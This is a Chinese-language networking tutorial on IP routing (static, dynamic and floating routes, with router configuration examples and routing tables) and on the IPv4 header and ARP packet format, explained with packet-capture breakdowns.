【网络安全】网络基础第一阶段——第二节:网络协议基础---- 路由和ARP协议

news2024/11/15 14:02:22

本篇文章我们来介绍IP路由的基本概念,包括路由的原理、静态路由和动态路由的配置与特点。

目录

一、路由

1.1 IP路由原理、静态路由及动态路由区分

1.1.1 什么是路由

1.1.2 路由的原理

1.1.2 路由表

1.1.3 静态路由与动态路由

1.2 路由原理详解

1.2.1 路由的原理即理解

1.2.2 路由分类

1.3 静态路由(Static Routing)

1.3.1 静态路由的配置示例

1.4 动态路由(Dynamic Routing)

1.4.1 动态路由配置示例

二、路由实验

2.1 静态路由实验

2.2 静态路由实验2

 2.3 静态路由实验总结

2.4 浮动路由

三、IP协议分析

3.1 IP协议简介

3.2 IP首部介绍

3.2.1 IP头部抓包展示

四、ARP协议

4.1 ARP概述

4.1.1 ARP协议的定义

4.1.2 ARP工作原理

4.1.3 使用ARP协议的4种不同情况

4.2 ARP报文格式

4.2.1 ARP封装


一、路由

路由是指路由器从一个接口上收到数据包,根据数据包的目的地址进行定向并转发到另一个接口的过程。路由发生在OSI网络参考模型中的第三层即网络层。

想象一下一种场景:你在一个大城市中,想要从家里开车去一个特定的商店。这个城市就像互联网,而你的家和商店的位置就像网络上的设备(比如电脑或者服务器)。城市中的道路就像是网络中的连接线路。

  1. 确定目的地:首先,你需要知道你要去哪里,也就是商店的地址。在网络中,这就像是知道数据包需要到达的目的地IP地址。
  2. 选择路线:你知道城市里有很多条路可以到达商店,但并不是所有路都是最佳选择。有些路可能更近,有些路可能更堵。在网络中,路由就是决定哪条路(或者说哪条网络路径)是最好的,以便数据包能够到达目的地。
  3. 使用地图或导航:在出发前,你可能会查看地图或者使用导航设备来确定最佳路线。在网络中,路由器就像是导航设备,它有一个“地图”(路由表),告诉它如何到达不同的网络地址。
  4. 遇到路口(路由器):在开车的过程中,你会在路口做决定,选择左转、右转或直行。在网络中,路由器就是这些路口,它根据路由表来决定数据包下一步应该往哪个方向发送。
  5. 避开拥堵(路由优化):如果你的导航显示前方路段拥堵,它可能会建议你绕行。同样,在网络中,如果某个路由出现问题或者效率低下,路由器可以通过动态路由协议找到更优的路径。
  6. 到达目的地:最终,你根据导航的指示到达了商店。在网络中,数据包也通过路由器的指引,经过一系列的“路口”,最终到达它的目的地

总的来说,路由的作用就像是城市中的导航系统,它帮助数据在网络中找到从源头到目的地的最佳路径。这个过程需要考虑距离(跳数)、拥堵(网络拥塞)、道路状况(网络质量)等因素,以确保数据能够高效、准确地传输。

1.1 IP路由原理、静态路由及动态路由区分

路由引导分组转送,经过一些中间的节点后,到它们最后的目的地。作成硬件的话,则称为路由器。路由通常根据路由表——一个存储到各个目的地的最佳路径的表——来引导分组转送。因此为了有效率的转送分组,创建存储在路由器存储器内的路由表是非常重要的。

路由与桥接的不同,在于路由假设地址相似的节点距离相近。这使得路由表中的一项纪录可以表示到一群地址的路径。因此,在大型网络中,路由优于桥接,且路由已经成为互联网上查找路径的最主要方法。

较小的网络通常可以手动设置路由表,但较大且拥有复杂拓扑的网络可能常常变化,若要手动创建路由表是不切实际的。尽管如此,大多数的公共交换电话网络(PSTN)仍然使用预先计算好的路由表,在直接连线的路径断线时才使用预备的路径;见公共交换电话网路由。“动态路由”尝试按照由路由协议所携带的信息来自动创建路由表以解决这个问题,也让网络能够近自主地避免网络断线或失败。

动态路由作为当前最普及的实现方式。然而,设置路由协议常须要经验与技术;目前的网络技术还没有发展到能够全自动地设置路由。

1.1.1 什么是路由

路由器是在互联网站中进行路由选择所使用的设备,或者说,实现路由的设备,我们称之为路由器

路由器的关键功能:

  • 检查数据包的目的地
  • 确定信息源
  • 发现可能的路由
  • 选择最佳路由
  • 验证和维护路由信息

什么是路由:

路由是指导IP报文发送的路径信息

1.1.2 路由的原理

路由器工作时依赖于路由表进行数据的转发。路由表犹如一张地图,它包含着去往各个目的的路径信息(路由条目)。每条信息至少应该包括下面3个内容:

  • 目的网络——表明路由器可以到达的网络的地址,可理解为去哪里。
  • 下一跳——通常情况下,下一跳(next hop)一般指向去往目的网络的下一个路由器的接口地址,该路由器称之为下一跳路由器。
  • 出接口——表明数据包从本路由器的哪个接口发送出去。
1.1.2 路由表

一个可能的路由表结构可能如下所示:

 [R1]dis ip routing-table
Route Flags: R – relay转发, D - download to fib来自路由表
------------------------------------------------------------------------------
Routing Tables: Public
         Destinations : 13       Routes : 14       
Destination/Mask    Proto   Pre  Cost      Flags NextHop         Interface
        0.0.0.0/0   Static  60   0           D   0.0.0.0         NULL0
        1.1.1.1/32  Direct  0    0           D   127.0.0.1       LoopBack1
       12.0.0.0/24  Direct  0    0           D   12.0.0.1        GigabitEthernet
0/0/0
       12.0.0.1/32  Direct  0    0           D   127.0.0.1       GigabitEthernet
0/0/0
     12.0.0.255/32  Direct  0    0           D   127.0.0.1       GigabitEthernet
0/0/0
       13.0.0.0/24  Direct  0    0           D   13.0.0.1        GigabitEthernet
0/0/1
       13.0.0.1/32  Direct  0    0           D   127.0.0.1       GigabitEthernet
0/0/1
     13.0.0.255/32  Direct  0    0           D   127.0.0.1       GigabitEthernet
0/0/1
       23.0.0.0/24  OSPF    10   2           D   13.0.0.3        GigabitEthernet
0/0/1
                    OSPF    10   2           D   12.0.0.2        GigabitEthernet

路由表中包含了下列关键项:

  • Destination:表示此路由的目的地址。用来标识IP包的目的地址或目的网络。
  • Mask:表示此目的地址的子网掩码长度。与目的地址一起来标识目的主机或路由器所在的网段的地址。
  • Proto:表示学习此路由的路由协议。
  • Pre:表示此路由的路由协议优先级。针对同一目的地,可能存在不同下一跳、出接口等多条路由,这些不同的路由可能是由不同的路由协议发现的,也可以是手工配置的静态路由。优先级高(数值小)者将成为当前的最优路由。各协议路由优先级请参见路由协议的优先级。
  • Cost:路由开销。当到达同一目的地的多条路由具有相同的路由优先级时,路由开销最小的将成为当前的最优路由。
1.1.3 静态路由与动态路由

静态路由是由管理员手工配置而生的路由

优点:

  • 使用简单,容易实现
  • 可精确控制路由走向,对网络进行最优化调整
  • 对设备性能要求较低,不额外占用链路带宽

缺点:

  • 网络是否通畅以及是否优化,完全取决于管理员的配置
  • 网络规模扩大时,由于路由表项的增多,将增加配置的繁杂度以及管理员的工作量
  • 网络拓扑发生变更时,不能自动适应,需要管理员参与修正

应用:

静态路由在实际应用中相当广泛,通常应用于以下两个场景: 

  • 小规模、稳定的网络。
  • 路径选择的控制,即控制某些目的网络的路由走向

动态路由是路由器使用路由协议从其他路由器那里获悉的路由。当网络拓扑发生变化时,路由器会自动更新路由信息

优点:

  1. 自动适应:能够自动适应网络拓扑的变化,如链路故障或新增路由器。
  2. 可扩展:适合大型和复杂的网络,自动传播路由信息。
  3. 减少管理负担:网络管理员不需要手动更新路由表。
  4. 使用路由协议:如RIP、OSPF、BGP等,提供多种算法和特性。

缺点:

  1. 配置复杂:需要配置和维护路由协议。
  2. 资源消耗:路由协议的运行可能会消耗一定的网络和处理器资源。
  3. 安全问题:可能会受到路由攻击,如路由欺骗。
  4. 收敛时间:在网络变化时,路由表的收敛可能需要时间。

应用:

  • 大型网络,如企业网络或ISP网络。
  • 需要高可用性和冗余的网络环境。
  • 网络拓扑经常变化的环境,如云数据中心。
1.2 路由原理详解
1.2.1 路由的原理即理解

举个例子,你下班准备回家,但是发现经常走的那条路在堵车,此时你打开导航,就能根据实时交通情况选一条虽然远一点但是不堵车的线路回家。

路由需要实时发生改变,而决定转发线路的设备就是路由器。路由器最重要的工作就是从海量传输线路中,找到带宽最大、延迟最低、速度最快的那条线。

1.2.2 路由分类

路由分为静态路由和动态路由

静态路由是由网络人员手工配置的,不会自动改变,必须有人重新配置才能修改;

动态路由则是由路由协议根据算法决定的,当网络出现改变,软件会感知线路状态并根据链路的带宽、延迟、可靠性和负载等信息,自动切换最佳的可用传输路线

1.3 静态路由(Static Routing)

静态路由是由网络管理员手动配置的路由信息,不依赖于任何动态路由协议。在静态路由中,路由表是预先设定好的,不会自动更改,除非管理员手动更新。

特点

  • 手动配置:网络管理员需要手动添加或删除路由表项。
  • 不自动适应:网络结构变化时,需要管理员手动更新路由表。
  • 简单:在小型或简单的网络中易于管理。
  • 性能:通常比动态路由协议更高效,因为没有额外的路由更新流量。
  • 安全性:可以精确控制数据包的流向,提高网络安全性。

使用场景

  • 小型网络,如家庭或小型办公室网络。
  • 网络拓扑不经常变化的环境。
  • 需要精确控制流量路径的场景。
1.3.1 静态路由的配置示例

在Cisco设备上配置静态路由的基本命令是:

ip route [目的地网络] [子网掩码] [下一跳地址] 或 [出接口]

例如,要将目的地网络 192.168.2.0 与子网掩码 255.255.255.0 的流量路由到下一跳地址 192.168.1.2,可以使用以下命令:

ip route 192.168.2.0 255.255.255.0 192.168.1.2
1.4 动态路由(Dynamic Routing)

动态路由是由路由器根据网络中的实时状况自动学习和调整的路由信息。动态路由依赖于路由协议,如RIP(Routing Information Protocol)、OSPF(Open Shortest Path First)、EIGRP(Enhanced Interior Gateway Routing Protocol)和BGP(Border Gateway Protocol)等。

特点

  • 自动适应:路由器能够自动适应网络结构的变化,如链路故障或新增路由器。
  • 复杂:配置和维护比静态路由复杂,需要理解和配置路由协议。
  • 可扩展性:适合大型和复杂的网络环境。
  • 路由更新:路由器之间会定期交换路由信息,以确保路由表的准确性。
  • 收敛:网络变化后,动态路由协议需要一定时间来更新所有路由器的路由表,这个过程称为收敛。

使用场景

  • 大型企业网络,需要自动适应网络变化。
  • 服务提供商网络,需要动态处理大量路由信息。
  • 多路径或冗余网络设计,以实现负载均衡和故障转移。
1.4.1 动态路由配置示例

在 Cisco 设备上启用动态路由协议 OSPF 的基本命令是:

router ospf [进程号]
然后,将接口添加到OSPF进程中:
interface [接口号]
ip ospf [进程号] area [区域号]

例如,要启用 OSPF 进程 1 并将接口 GigabitEthernet0/1 添加到区域 0,可以使用以下命令:

router ospf 1
interface GigabitEthernet0/1
ip ospf 1 area 0

二、路由实验
2.1 静态路由实验

首先安装下图搭建一个简单的拓扑图,开启设备。

配置PC的IP地址、子网掩码和网关,配置完成点击应用,另一台PC同理。

完成对两台PC的设置后,我们来对两台路由器进行设置

对两个路由器命名为R1,R2,并设置两个路由器的端口的网段(IP+子网掩码),这里以R1举例,R2同理。

设置R1和R2的静态路由

R2的操作步骤和上面相同,IP地址相反

全部设置完成后,两台主机互ping测试,连通即为成功

2.2 静态路由实验2

现在,我们再来看一下多路由转发

首先按照下图配置拓扑:

依照我们设置的IP,为PC配置静态IP和网关,下图以PC1为例,其余PC类似。

配置完PC的IP后,我们再来配置路由

R1
[R1]int e0/0/0
[R1-Ethernet0/0/0]ip add 172.16.10.254 24
[R1-Ethernet0/0/0]int e0/0/1
[R1-Ethernet0/0/1]ip add 12.1.1.1 24
R2
[R2]int e0/0/0
[R2-Ethernet0/0/0]ip add 12.1.1.2 28
[R2-Ethernet0/0/0]int e0/0/1
[R2-Ethernet0/0/1]ip add 23.1.1.2 28
R3
[R3]int e0/0/0
[R3-Ethernet0/0/0]ip add 23.1.1.3 28
[R3-Ethernet0/0/0]int e0/0/1
[R3-Ethernet0/0/1]ip add 192.168.1.254 24
R1
[R1]ip route-static 23.1.1.0 28 12.1.1.2
[R1]ip route-static 192.168.1.0 24 12.1.1.2
R2
[R2]ip route-static 172.16.10.0 24 12.1.1.1
[R2]ip route-static 192.168.1.0 24 23.1.1.3
R3
[R3]ip route-static 172.16.10.0 24 23.1.1.2
[R3]ip route-static 12.1.1.0 28 23.1.1.2

测试连通性:

 2.3 静态路由实验总结

根据上面的两个实验,我们可以找到一些规律:

对于一个存在PC、交换机和路由器的环境中,如果想让某两台PC机相互ping通,我们需要合理配置每台设备的IP地址和子网掩码,以及在路由器上配置相应路由:

  1. IP地址:IP地址根据你初试设想的IP地址填写,注意:交换机相连的两台或多台PC需处于同一网段交换机负责在同一网络或同一广播域内的设备之间的数据转发,无法跨网段通信
  2. 子网掩码:根据初始设想的填写,例如上面两个实验为24,即255.255.255.0
  3. 网关:网关填写的应该为交换机的接口IP,每台PC的网关设置为连接到该子网的路由器或交换机的接口IP,确保数据包能够正确路由
  4. 路由器接口:确保每个路由器的接口IP地址与其连接的子网匹配,就像接力一样一步一步将数据传递过去
  5. 路由配置:通过静态路由或动态路由协议(如RIP、OSPF),确保不同子网之间的数据包能够通过路由器正确转发,这里的逻辑就像是:路由器两端各属于不同的网段,你需要设置那些数据可以通过哪个网段,这段数据得到允许才能真正过去

以第二个实验的R1举例:

目的网络 192.168.1.0/24 通过 12.1.1.2

  • 解释:这意味着,当 Router 1 收到一个目的地为 192.168.1.0/24 网段的数据包时,它会将这个数据包转发到 12.1.1.2 这个地址。这里的 12.1.1.2 是 Router 2 的一个接口地址,这样配置可以确保数据包能够到达 192.168.1.0/24 网段。

目的网络 23.1.1.0/28 通过 12.1.1.2

  • 解释:同样,当 Router 1 收到一个目的地为 23.1.1.0/28 网段的数据包时,它也会将这个数据包转发到 12.1.1.2 这个地址。这里的 23.1.1.0/28 网段是 Router 2 直接连接的网段,所以数据包需要通过 Router 2 来到达。
2.4 浮动路由

浮动路由(Floating Route)是网络路由策略中的一种技术,主要用于提高网络的可靠性和负载均衡。它允许网络管理员配置多个等价的路由路径,以便在主路由出现问题时,流量可以自动切换到备用路由上。

路由配置:

 配置R3路由接口IP
 
interface GigabitEthernet0/0/0
 ip address 192.168.10.254 255.255.255.0 
#
interface GigabitEthernet0/0/1
 ip address 192.168.20.1 255.255.255.0 
#
interface GigabitEthernet0/0/2
 ip address 192.168.30.1 255.255.255.0 
 
配置浮动路由
ip route-static 192.168.40.0 255.255.255.0 192.168.20.2
ip route-static 192.168.40.0 255.255.255.0 192.168.30.2 preference 20  配置浮动路由优先级

配置R4路由接口IP
#
interface GigabitEthernet0/0/0
 ip address 192.168.40.254 255.255.255.0 
#
interface GigabitEthernet0/0/1
 ip address 192.168.20.2 255.255.255.0 
#
interface GigabitEthernet0/0/2
 ip address 192.168.30.2 255.255.255.0 
 
配置浮动路由
 
ip route-static 192.168.10.0 255.255.255.0 192.168.20.1
ip route-static 192.168.10.0 255.255.255.0 192.168.30.1 preference 20     配置浮动路由优先级

验证配置:

<R3>tracert 192.168.40.1   路由跟踪访问PC4的地址
 
 traceroute to  192.168.40.1(192.168.40.1), max hops: 30 ,packet length: 40,pres
s CTRL_C to break 
 
 1 192.168.30.2 50 ms  10 ms  20 ms    通过的路径为30.2端口也就是路由器的g0/0/2口
 
 2 192.168.40.1 40 ms  60 ms  40 ms 
<R3>

通过路由表可以查看到最优路径:

<R3>dis ip routing-table  
Route Flags: R - relay, D - download to fib
------------------------------------------------------------------------------
Routing Tables: Public
         Destinations : 14       Routes : 14       
 
Destination/Mask    Proto   Pre  Cost      Flags NextHop         Interface
 
      127.0.0.0/8   Direct  0    0           D   127.0.0.1       InLoopBack0
      127.0.0.1/32  Direct  0    0           D   127.0.0.1       InLoopBack0
127.255.255.255/32  Direct  0    0           D   127.0.0.1       InLoopBack0
   192.168.10.0/24  Direct  0    0           D   192.168.10.254  GigabitEthernet
0/0/0
 192.168.10.254/32  Direct  0    0           D   127.0.0.1       GigabitEthernet
0/0/0
 192.168.10.255/32  Direct  0    0           D   127.0.0.1       GigabitEthernet
0/0/0
   192.168.20.0/24  Direct  0    0           D   192.168.20.1    GigabitEthernet
0/0/1
   192.168.20.1/32  Direct  0    0           D   127.0.0.1       GigabitEthernet
0/0/1
 192.168.20.255/32  Direct  0    0           D   127.0.0.1       GigabitEthernet
0/0/1
   192.168.30.0/24  Direct  0    0           D   192.168.30.1    GigabitEthernet
0/0/2
   192.168.30.1/32  Direct  0    0           D   127.0.0.1       GigabitEthernet
0/0/2
 192.168.30.255/32  Direct  0    0           D   127.0.0.1       GigabitEthernet
0/0/2
   192.168.40.0/24  Static  20   0          RD   192.168.30.2    GigabitEthernet
0/0/2
255.255.255.255/32  Direct  0    0           D   127.0.0.1       InLoopBack0
 
<R3>
三、IP协议分析
3.1 IP协议简介

IP协议(Internet Protocol)是互联网中最基础的网络层协议之一,它负责将数据分组从源主机传输到目标主机。

IP协议主要特点:

  • 无连接:IP协议在传输数据时,不需要在发送方与接收方之间建立一个持久的连接,每个数据包都是独立的、没有关联的。
  • 不可靠:IP协议不保证数据包的可靠传输,它只是尽可能地将数据包传输到目的地。如果出现网络拥塞或其他问题,数据包可能会丢失或延迟。
  • 分组交换:IP协议将数据分成若干个数据包进行传输,每个数据包都有自己的目的地址和源地址,路由器会根据这些地址将数据包转发到下一个网络节点,直到最终到达目的地。

IP协议主要功能:

  • 分配IP地址:IP协议为每个连接到互联网上的设备分配一个唯一的IP地址,它用于标识设备的位置。
  • 路由选择:IP协议根据路由表选择最佳的路径将数据包传输到目的地。
  • 分组传输:IP协议将数据分成若干个数据包进行传输,每个数据包都有自己的目的地址和源地址。
  • 分片和重组:IP协议可以将大的数据包进行分片,传输到接收方后再进行重组

3.2 IP首部介绍

IP头部固定信息的长度为20字节,IP头部选项(Options)为可选字段,用于传递一些特殊的控制信息,如时间戳或安全选项等

​​​​​​​

IP头部固定信息包括一下字段:

  1. 版本(Version):4位,表示IP协议的版本,IPv4是4,即0100。

  2. 首部长度(Header Length):4位,表示IP包头的长度,因为包头是以32位(4字节)为单位的,因此首部长度乘以4就是包头的字节长度。

  3. 优先级与服务类型(Type of Service/Differentiated Services):8位,用于指定服务质量,如优先级、延迟、吞吐量等。在IPv4中,这个字段被分为两个子字段:服务类型(3位)和两个保留位(1位)。这部分有点像快递服务的选择,它告诉网络这个数据包有多重要,是否需要快速送达或者是否需要特别小心处理。

  4. 总长度(Total Length):16位,表示整个IP数据报的长度,包括IP包头和数据载荷的总字节数。

  5. 标识符(Identification):16位,用于标识从同一数据报分片的所有片段。如果一个大的数据包需要分成几个小包发送,这个标识符就像这些小包的“家族编号”,让接收方知道它们属于同一个大的数据包。

  6. 标志(Flags):3位,控制和标识分片的标志位,这部分控制数据包是否可以被分割,以及是否还有更多的小包在路上。包括:

    • 不分段(DF):1位,如果设置为1,则表示该数据报不允许在传输过程中被分片。
    • 更多分段(MF):1位,如果设置为1,则表示后面还有更多的分片。
    • 保留位:1位,必须设置为0。
  7. 段偏移量(Fragment Offset):13位,如果数据报被分片,这个字段指示每个分片在原始数据报中的相对位置。如果数据包被分割,这个字段告诉我们每个小包在原始大包中的相对位置,以便接收方能够正确地将它们拼回去。

  8. 生存时间(Time to Live, TTL):8位,数据报在网络中可以通过的最大路由器数。每经过一个路由器,TTL减1,当TTL为0时,数据报被丢弃。这个数字告诉我们数据包在网络中可以经过多少个路由器。每过一个路由器,这个数字就减少1,如果减到0,数据包就会被丢弃,防止它在网络中无限循环。

  9. 协议(Protocol):8位,指示数据报携带的上层协议类型,如TCP(6)、UDP(17)、ICMP(1)等。

  10. 首部校验和(Header Checksum):16位,用于检测IP包头在传输过程中的错误

  11. 源IP地址(Source IP Address):32位,发送方的IP地址

  12. 目标IP地址(Destination IP Address):32位,接收方的IP地址

3.2.1 IP头部抓包展示

上面的抓包信息中:

  • 源IP地址(Source IP Address):182.254.52.213,这是发送方的IP地址,表明数据包是从这个地址发出的​​​​​​​
  • 目的IP地址(Destination IP Address):192.168.1.105,这是接收方的IP地址,表明数据包的目的地是这个地址
  • 版本(Version):4,表示使用的是IPv4协议。
  • 首部长度(Header Length):20 bytes (5 * 32 bits words),表示IP头部的长度是20字节,这是不包括任何选项的标准长度。
  • 服务类型(Differentiated Services Field):0x00,表示数据包的服务质量类别,0x00通常表示普通服务。
  • 总长度(Total Length):109,表示整个IP数据包的长度,包括头部和数据部分,单位是字节。
  • 标识(Identification):0x53c5 (21445),用于标识从同一数据报分片的所有片段
  • 标志(Flags):0x4000,表示数据包是否允许分片,这里没有设置“不允许分片”标志。
  • 片偏移(Fragment Offset):0,表示如果数据包被分片,这个字段指示每个分片在原始数据报中的相对位置。这里为0,表示没有分片。
  • 生存时间(Time to Live, TTL):56,表示数据包在网络中可以通过的最大路由器数。每经过一个路由器,TTL减1,当TTL为0时,数据包被丢弃。
  • 协议(Protocol):TCP (6),表示数据包使用的传输层协议是TCP。
  • 首部校验和(Header Checksum):0x40e1,用于检测IP包头在传输过程中的错误
四、ARP协议

ARP(Address Resolution Protocol,地址解析协议)是一种网络层协议,用于将网络层的IP地址解析为数据链路层的MAC地址。ARP是IPv4网络中不可或缺的一部分,它使得网络中的设备能够找到彼此的物理地址,从而在局域网(LAN)内进行通信。

4.1 ARP概述
4.1.1 ARP协议的定义

地址解析协议(Address Resolution Protocol,ARP):ARP协议可以将IPv4地址(一种逻辑地址)转换为各种网络所需的硬件地址(一种物理地址)。换句话说,所谓的地址解析的目标就是发现逻辑地址与物理地址的映射关系。 ARP仅用于IPv4协议,IPv6使用邻居发现协议(NDP)替代。

ARP协议目前最广泛应用于寻找32位IPv4地址与以太网的48位MAC地址之间的映射。

在掌握ARP协议之前,我们先来理解一下什么是逻辑地址和物理地址

物理地址:

物理地址对于主机就类似身份证对于人类。对于每个网络适配器,设置制造商都会给定一个永久的物理地址,将其存储在设备的永久性内存中。就像身份证一样,物理地址就是网络适配器的ID。注意,物理地址是和网络适配器绑定的,如果主机更换了网络适配器,那么它的物理地址也会相应改变。(虽然网络适配器的物理地址是固定的,但也可以通过特殊方法修改,但这种情况极少出现,不影响我们理解)
在TCP/IP分层体系结构中,数据链路层和物理层使用的地址是物理地址。而网络层、传输层和应用层使用的地址是IP地址(逻辑地址)。

逻辑地址:

逻辑地址就是我们常说的IP地址,因为IP地址是由软件实现的,所以把它称为逻辑地址。IP地址是不固定的,它通常从某个网络的IP地址池中获得,改变网络环境,IP地址就会改变。

分组传输需要2级地址:逻辑地址和物理地址。如果完全依赖物理地址,那么路由表就需要对每个物理地址建立一个项,那样没有一个路由器能够负担如此庞大的表项。IP地址提供了更高层次的抽象,将不同的物理地址抽象为统一的逻辑地址

有了IP地址,分组的路由(也就是找路)的工作仿佛在同一个网络中进行。如果传输IPv4分组,那么IPv4分组传输过程中经过的所有网络都使用IPv4协议,仿佛它们在一个逻辑上的网络中。

4.1.2 ARP工作原理

ARP协议主要依赖ARP高速缓存(ARP cache)。ARP高速缓存就是一个映射表,它记录了IP地址和物理地址的映射关系。每一台主机和路由器都设有ARP高速缓存,在实际传输中,通常已知下一跳的目的IP地址(这是通过查询路由表完成的,不是本篇的知识),通过查询ARP高速缓存即可知道对应的物理地址。

如何建立ARP告诉缓存:通过广播ARP请求分组

  1. 地址解析请求:当一台主机需要向同一局域网内的另一台主机发送数据,但只知道目标主机的IP地址时,它会在本地ARP缓存中查找对应的MAC地址。
  2. ARP请求广播:如果ARP缓存中没有目标IP地址的条目,主机会发送一个ARP请求广播到局域网内的所有设备。
  3. ARP响应:收到ARP请求的设备会检查请求中的IP地址。如果与自己的IP地址匹配,该设备会向发送请求的主机发送一个ARP响应,包含自己的MAC地址。
  4. 缓存ARP响应:发送请求的主机收到ARP响应后,会将目标IP地址与MAC地址的映射关系存储在ARP缓存中,以备将来使用。

目的主机(或目的路由器)在收到ARP请求分组后,会做两件事:

1.将源主机的IP地址和对应的物理地址添加进自身的ARP高速缓存映射表。这是因为既然源主机会和自己通信,那么自己之后也可能会主动和源主机通信,提前建立源主机的映射表项是有必要的,之后自己要主动和源主机通信就不用广播ARP请求分组了。

2.给源主机发送ARP响应报文(注意,该报文是单播的)目的主机需要给源主机发送ARP响应报文,告知源主机自己的物理地址。源主机在收到所需的ARP响应报文,就可以发送帧给目的主机了。

4.1.3 使用ARP协议的4种不同情况

ARP协议是在单个网络内部运行的。如果源主机和目的主机不在一个网络中,必须多次使用ARP协议。
无论情况多复杂,都是由以下4种情况组合而成的。

如果源主机和目的主机在一个网络中,这就很简单,源主机直接通过ARP协议寻找目的主机的物理地址。
也就是情况1:源主机直接通过ARP协议寻找同一个网络下目的主机的物理地址

如果源主机和目的主机不在一个网络中,就必须通过路由器路由。通过查找路由表,将目的主机的IP地址转换为下一跳的IP地址。再通过ARP协议,将下一跳的IP地址转换为对应的物理地址。
细分有3种情况:
情况1:源主机寻找下一跳路由器的物理地址。
情况2:路由器寻找在同一个网络中的目的主机的物理地址。
情况3:路由器和目的主机不在同一个网络中,路由器A寻找下一条路由器B的物理地址。

4.2 ARP报文格式

与之前我们说的IP报文格式类似,ARP协议报文大致也可以相比较着理解:

  1. 硬件类型(Hardware Type):指定使用的网络接口类型,例如以太网是1。
  2. 协议类型(Protocol Type):指定ARP请求或应答中包含的协议地址类型,对于IPv4是0x0800。
  3. 硬件长度(Hardware Length):硬件地址的长度,例如以太网地址是6字节。
  4. 协议长度(Protocol Length):协议地址的长度,对于IPv4是4字节。
  5. 操作码(Opcode):指定ARP报文是请求(1)还是应答(2)。
  6. 发送方硬件地址(Sender Hardware Address):发送ARP报文的设备的硬件(MAC)地址。
  7. 发送方协议地址(Sender Protocol Address):发送ARP报文的设备的协议(IP)地址。
  8. 接收方硬件地址(Target Hardware Address):目标设备的硬件(MAC)地址。在ARP请求中,这个字段通常被填充为0,因为目标的MAC地址尚不知道。
  9. 接收方协议地址(Target Protocol Address):目标设备的协议(IP)地址。
4.2.1 ARP封装

ARP协议是很特殊的协议,它像是介于网络层和链路层之间的协议。
ARP协议是封装在帧中的,就像IPv4协议封装在以太网帧一样,从这个角度讲,ARP协议像网络层协议。
但是ARP协议是为网络层协议服务的,从服务的角度讲,它又像链路层协议。

实际中,ARP协议常封装在以太网帧中。
当广播ARP请求分组时,该网络中的所有主机都会从以太网帧中提取出ARP协议分组,检查接收方协议地址字段,如果和自身IP地址不相同,就丢弃该分组。如果相同,说明自身的物理地址就是被寻找的地址。就需要给发送方回复ARP响应分组(通过单播)。
ARP的响应报文会将发送方硬件地址字段和发送方协议地址字段填写成自身的物理地址和IP地址。将接收方硬件地址和接收方协议地址填写为ARP请求报文的发送方硬件地址和发送方协议地址


通过对ARP协议抓包分析,我们可以得出一些他的大概结论:

Ethernet II帧部分

  1. 目的物理地址(Destination)

    • 值:ff:ff:ff:ff:ff:ff
    • 说明:这是一个广播地址,表示该帧是发送给局域网内的所有设备的。在ARP请求中使用广播,是因为请求发送方不知道目标设备的物理(MAC)地址。
  2. 源物理地址(Source)

    • 值:50:eb:f6:56:ca:57
    • 说明:这是发送ARP请求的设备的MAC地址。这个地址在ARP报文中也作为发送方的硬件地址出现。
  3. 类型(Type)

    • 值:ARP(0x0806)
    • 说明:这表明该帧携带的数据是ARP协议数据。类型字段用于指示上层协议类型,0x0806是ARP协议的以太网类型代码。

ARP协议部分

  1. 硬件类型(Hardware Type)

    • 值:Ethernet(1)
    • 说明:这表明使用的网络接口类型是Ethernet(以太网)。
  2. 协议类型(Protocol Type)

    • 值:IPv4(0x0800)
    • 说明:这表明ARP请求用于解析IPv4地址。
  3. 硬件大小(Hardware Size)

    • 值:6
    • 说明:这表示硬件(MAC)地址的长度是6字节,这是Ethernet地址的标准长度。
  4. 协议大小(Protocol Size)

    • 值:4
    • 说明:这表示协议(IPv4)地址的长度是4字节。
  5. 操作码(Opcode)

    • 值:request(1)
    • 说明:这表明这是一个ARP请求。值为1代表请求,值为2代表应答。
  6. 发送方硬件地址(Sender MAC address)

    • 值:50:eb:f6:56:ca:57
    • 说明:这是发送ARP请求的设备的MAC地址,与Ethernet帧的源地址相同。
  7. 发送方协议地址(Sender IP address)

    • 值:192.168.1.3
    • 说明:这是发送ARP请求的设备的IP地址。
  8. 接收方硬件地址(Target MAC address)

    • 值:00:00:00:00:00:00
    • 说明:在ARP请求中,这个字段通常填充为0,因为发送方尚不知道目标设备的MAC地址。
  9. 接收方协议地址(Target IP address)

    • 值:192.168.1.2
    • 说明:这是ARP请求想要解析的目标IP地址。

这个ARP请求报文是一个典型的局域网内设备请求另一台设备的MAC地址的过程。发送方通过广播方式发送ARP请求,询问局域网内所有设备,希望得到IP地址为192.168.1.2的设备的MAC地址。这种机制是局域网通信的基础,允许设备在不知道彼此物理地址的情况下进行通信。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2158268.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python增强办公效率的11个实用代码段

如果你正在学习Python&#xff0c;那么你需要的话可以&#xff0c;点击这里&#x1f449;Python重磅福利&#xff1a;入门&进阶全套学习资料、电子书、软件包、项目源码等等免费分享&#xff01; 引言 在日常工作中&#xff0c;许多任务可以通过编程自动化来提高效率。本…

QT6.7创建Non-Qt Project工程

QT6.7创建Non-Qt Project工程

数据结构——“二叉搜索树”

二叉搜索树是一个很重要的数据结构&#xff0c;它的特殊结构可以在很短的时间复杂度找到我们想要的数据。最坏情况下的时间复杂度是O(n)&#xff0c;最好是O(logn)。接下来看一看它的接口函数的实现。 为了使用方便&#xff0c;这里采用模版的方式&#xff1a; 一、节点 temp…

TaskRes: Task Residual for Tuning Vision-Language Models

文章汇总 当前VLMs微调中存在的问题 提示微调的问题 在提示调优中缺乏对先验知识保存的保证(me&#xff1a;即提示微调有可能会丢失预训练模型中的通用知识)。虽然预先训练的文本分支模块(如文本编码器和投影)的权重在提示调优范式中被冻结&#xff0c;但原始的良好学习的分类…

图文深入理解SQL语句的执行过程

List item 本文将深入介绍SQL语句的执行过程。 一.在RDBMS&#xff08;关系型DB&#xff09;中&#xff0c;看似很简单的一条已写入DB内存的SQL语句执行过程却非常复杂&#xff0c;也就是说&#xff0c;你执行了一条诸如select count(*) where id 001 from table_name的非常简…

【Transformers基础入门篇4】基础组件之Model

